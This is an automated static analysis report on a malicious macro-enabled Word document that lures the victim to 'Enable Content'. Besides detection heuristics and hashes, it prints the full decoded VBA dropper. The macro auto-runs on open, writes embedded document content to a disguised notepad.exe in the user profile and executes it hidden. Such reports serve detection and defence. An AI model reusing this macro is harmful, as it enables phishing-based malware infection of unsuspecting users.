Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 af443079e30d703a…

MALICIOUS

Office (OOXML)

70.0 KB Created: 2020-05-26 08:07:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-08-10
MD5: 6dcdc730eaaca5983a4d5b26bc247c12 SHA-1: 7f9d4122cc2d88f7817843060709a5b4d4c86a7b SHA-256: af443079e30d703a97ee1a8db695398b79a57cb5aa43f5fe4f6c0f95b165feca
390 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious OOXML document containing VBA macros designed to execute a payload. The document body contains a lure to "Enable Content" to view a "Kaspersky Report". The VBA script, triggered by Auto_Open, Workbook_Open, or AutoOpen, writes data to a file named "notepad.exe" in the user's profile directory and then executes it using the Shell() function. This indicates a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1711 bytes
SHA-256: c0e89da75491d22576a476c9c19fbb6ddc161d834ec1d403e599a2d2a4919207
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    Xtjnd12
End Sub

Sub Xtjnd12()
    Dim Xtjnd7 As Integer
    Dim Xtjnd1 As String
    Dim Xtjnd2 As String
    Dim Xtjnd3 As Integer
    Dim Xtjnd4 As Paragraph
    Dim Xtjnd8 As Integer
    Dim Xtjnd9 As Boolean
    Dim Xtjnd5 As Integer
    Dim Xtjnd11 As String
    Dim Xtjnd6 As Byte
    Dim Nmmswzefgq As String
    Nmmswzefgq = "Nmmswzefgq"
    Xtjnd1 = "notepad.exe"
    Xtjnd2 = Environ("USERPROFILE")
    ChDrive (Xtjnd2)
    ChDir (Xtjnd2)
    Xtjnd3 = FreeFile()
    Open Xtjnd1 For Binary As Xtjnd3
    For Each Xtjnd4 In ActiveDocument.Paragraphs
        DoEvents
            Xtjnd11 = Xtjnd4.Range.Text
        If (Xtjnd9 = True) Then
            Xtjnd8 = 1
            While (Xtjnd8 < Len(Xtjnd11))
                Xtjnd6 = Mid(Xtjnd11, Xtjnd8, 4)
                Put #Xtjnd3, , Xtjnd6
                Xtjnd8 = Xtjnd8 + 4
            Wend
        ElseIf (InStr(1, Xtjnd11, Nmmswzefgq) > 0 And Len(Xtjnd11) > 0) Then
            Xtjnd9 = True
        End If
    Next
    Close #Xtjnd3
    Xtjnd13 (Xtjnd1)
End Sub

Sub Xtjnd13(Xtjnd10 As String)
    Dim Xtjnd7 As Integer
    Dim Xtjnd2 As String
    Xtjnd2 = Environ("USERPROFILE")
    ChDrive (Xtjnd2)
    ChDir (Xtjnd2)
    Xtjnd7 = Shell(Xtjnd10, vbHide)
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 858fa3ae2ddad9688dbb7886ceb460de345912b664bb8a7e61a4ede2c2f35282
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

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